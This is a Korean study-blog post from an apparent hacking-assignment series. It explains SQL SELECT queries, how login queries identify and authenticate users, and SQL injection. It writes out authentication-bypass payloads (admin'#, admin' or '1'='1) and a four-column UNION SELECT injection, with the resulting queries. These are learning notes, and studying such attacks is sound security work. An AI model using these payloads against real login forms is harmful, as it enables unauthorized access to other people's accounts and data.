SQL
자료를 처리하는 용도로 사용되는 구조적 데이터 질의 언어
DB한테 데이터를 처리(가져와라, 수정해라, 추가해라 등)해라 하는 언어
SELECT
테이블에 있는 데이터를 조회할 때 사용하는 명령어
select [컬럼 이름] from [테이블 이름]
DB는 많은양의 데이터가 들어있어서 전부 조회하지 않고 조건을 걸어준다.
select [컬럼 이름] from [테이블 이름] where (컬럼이름 = 데이터)
로그인 인증 과정
로그인 인증은 식별과 인증이라는 과정이 필요하다.
식별 : 많은 데이터 중에서 특정한 데이터를 가려내는 것 / 식별정보 : ID(중복 X)
인증 : 그 사람이 맞는지 확인 / 인증정보 : PW
1) 식별과 인증 동시 진행 CASE
member라는 테이블이 있고 아이디와 비밀번호를 입력받고 로그인을 하면 DB에 이러한 질의를 한다.
select * from member where id = '입력한 ID' and pw = '입력한 PW'
위의 조건에 부합하면 로그인이 성공하고 틀리면 실패한다.
2) 식별과 인증 분리 진행 CASE
select pw from member where id = '입력한 ID' and pass = '입력한 PW'
pw와 입력한 PW가 일치하면 로그인 성공하고 틀리면 로그인에 실패한다.
1)과 2)는 둘 다 안전하다. 하지만 SQL Injection 취약점이 있으면 위험하다.
SQL Injection
SQL 질의문을 삽입하는 공격
질의문을 삽입해서 데이터를 추출하거나 인증을 우회하거나 데이터를 변조시킨다.
select * from member where id = '' and pw = ''
이러한 질의문이 있을 거고 우리는 ''에 아이디와 비밀번호 대신에 내가 로그인하고 싶은 계정을 넣어볼 거다.(비밀번호는 아무거나 넣음)
주석을 사용 : admin'#
select * from member where id = 'admin'#' and pw = '1231423124'
#이하가 주석처리돼서 select * from member where id = 'admin'만 실행이 된다.
or을 사용 : admin' or '1'='1
select * from member where id = 'admin' or '1'='1' and pw = '1231423124'
연산자 우선순위에 의해서 and가 먼저 진행되고 그다음 or가 진행된다.
select * from member where id = 'admin' or ('1'='1' and pw = '1231423124')
따라서 and를 실행하면 거짓이 되고 or은 실행해도 참이 된다.
or을 사용 : admin' or '1'='1'#
select * from member where id = 'admin' or '1'='1'#' and pw = '1231423124'
#이하는 주석처리가 되고 select * from member where id = 'admin' or '1'='1'만 실행이 된다.
union을 사용 : select ~~~~ union select ~~~~
union은 데이터를 연결해서 출력할 수 있고 select문을 2개를 쓸 수 있게 해 준다.
union은 사용할 때 컬럼의 개수를 알고 있어야 한다.
예를 들어 컬럼의 개수가 4개인 Table이 있으면
X' UNION SELECT '1234','mario','5555','5555'#
이런 식으로 컬럼의 개수를 맞추면 된다.
SQL Injection을 사용할 때는 막연하게 주석을 이용하거나 막 집어넣지 말고
사이트의 구조가 어떻게 돼있는지 생각하면서 집어넣는 게 좋다.
'공부 > 해킹 과제' 카테고리의 다른 글
Error Based SQL Injection (0) | 2023.04.21 |
---|---|
Union SQL Injection (0) | 2023.04.21 |
로그인 CASE (0) | 2023.04.18 |
인증 우회 케이스 (0) | 2023.04.10 |
로그인 인증 (0) | 2023.04.07 |